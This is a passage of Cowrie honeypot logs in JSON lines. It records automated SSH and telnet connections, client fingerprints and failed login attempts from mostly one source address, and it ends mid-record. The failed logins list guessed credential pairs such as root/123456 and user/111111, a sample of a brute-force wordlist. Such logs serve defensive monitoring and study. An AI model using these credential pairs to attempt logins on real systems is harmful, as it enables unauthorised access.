{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:54.526613Z","src_ip":"91.92.42.227","session":"a0216519fe7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:55.569538Z","src_ip":"168.167.228.74","session":"0429e2707489","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.2","message":"Connection lost after 9.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:05:55.873530Z","src_ip":"91.92.42.227","session":"bcfc90c341fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":59690,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c6031f48e69","protocol":"ssh","message":"New connection: 91.92.42.227:59690 (10.17.0.5:22) [session: 5c6031f48e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:00.001348Z"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:01.190204Z","src_ip":"91.92.42.227","session":"a0216519fe7c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:01.472223Z","src_ip":"91.92.42.227","session":"5c6031f48e69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:01.475439Z","src_ip":"91.92.42.227","session":"5c6031f48e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:03.769667Z","src_ip":"91.92.42.227","session":"a0216519fe7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41476,"dst_ip":"10.17.0.5","dst_port":22,"session":"65aa8aba9b1f","protocol":"ssh","message":"New connection: 91.92.42.227:41476 (10.17.0.5:22) [session: 65aa8aba9b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:06.430465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:08.210128Z","src_ip":"91.92.42.227","session":"65aa8aba9b1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:08.213344Z","src_ip":"91.92.42.227","session":"65aa8aba9b1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:09.080914Z","src_ip":"91.92.42.227","session":"5c6031f48e69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:11.966253Z","src_ip":"91.92.42.227","session":"5c6031f48e69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41574,"dst_ip":"10.17.0.5","dst_port":22,"session":"de69aed1432c","protocol":"ssh","message":"New connection: 91.92.42.227:41574 (10.17.0.5:22) [session: de69aed1432c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:12.567180Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:14.866916Z","src_ip":"91.92.42.227","session":"de69aed1432c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:14.870264Z","src_ip":"91.92.42.227","session":"de69aed1432c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:16.661239Z","src_ip":"91.92.42.227","session":"65aa8aba9b1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42922,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9851c4233c4","protocol":"ssh","message":"New connection: 91.92.42.227:42922 (10.17.0.5:22) [session: e9851c4233c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:19.491213Z"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:19.734515Z","src_ip":"91.92.42.227","session":"65aa8aba9b1f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:21.429099Z","src_ip":"91.92.42.227","session":"e9851c4233c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:21.440007Z","src_ip":"91.92.42.227","session":"e9851c4233c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":44542,"dst_ip":"10.17.0.5","dst_port":23,"session":"506b47670bbe","protocol":"telnet","message":"New connection: 172.81.62.90:44542 (10.17.0.5:23) [session: 506b47670bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:23.103956Z"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:23.421849Z","src_ip":"91.92.42.227","session":"de69aed1432c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:27.424730Z","src_ip":"91.92.42.227","session":"de69aed1432c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50068,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a75813412f","protocol":"ssh","message":"New connection: 91.92.42.227:50068 (10.17.0.5:22) [session: 62a75813412f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:27.470892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:29.455044Z","src_ip":"91.92.42.227","session":"62a75813412f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:29.459835Z","src_ip":"91.92.42.227","session":"62a75813412f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:30.683378Z","src_ip":"91.92.42.227","session":"e9851c4233c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.9","message":"Connection lost after 13.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:33.383116Z","src_ip":"91.92.42.227","session":"e9851c4233c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50104,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ae125b56253","protocol":"ssh","message":"New connection: 91.92.42.227:50104 (10.17.0.5:22) [session: 8ae125b56253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:33.767987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:35.894925Z","src_ip":"91.92.42.227","session":"8ae125b56253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:35.898352Z","src_ip":"91.92.42.227","session":"8ae125b56253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:37.715740Z","src_ip":"91.92.42.227","session":"62a75813412f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51982,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6f9d627f810","protocol":"ssh","message":"New connection: 91.92.42.227:51982 (10.17.0.5:22) [session: e6f9d627f810]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:40.712303Z"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:40.768837Z","src_ip":"91.92.42.227","session":"62a75813412f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:42.619394Z","src_ip":"91.92.42.227","session":"e6f9d627f810","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:42.622890Z","src_ip":"91.92.42.227","session":"e6f9d627f810","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:44.757108Z","src_ip":"91.92.42.227","session":"8ae125b56253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39982,"dst_ip":"10.17.0.5","dst_port":23,"session":"df2c13960d53","protocol":"telnet","message":"New connection: 94.23.66.112:39982 (10.17.0.5:23) [session: df2c13960d53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:45.775242Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42618,"dst_ip":"10.17.0.5","dst_port":22,"session":"03fa13f03ec4","protocol":"ssh","message":"New connection: 91.92.42.227:42618 (10.17.0.5:22) [session: 03fa13f03ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:47.786568Z"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:48.668871Z","src_ip":"91.92.42.227","session":"8ae125b56253","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:06:49.934267Z","src_ip":"91.92.42.227","session":"03fa13f03ec4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2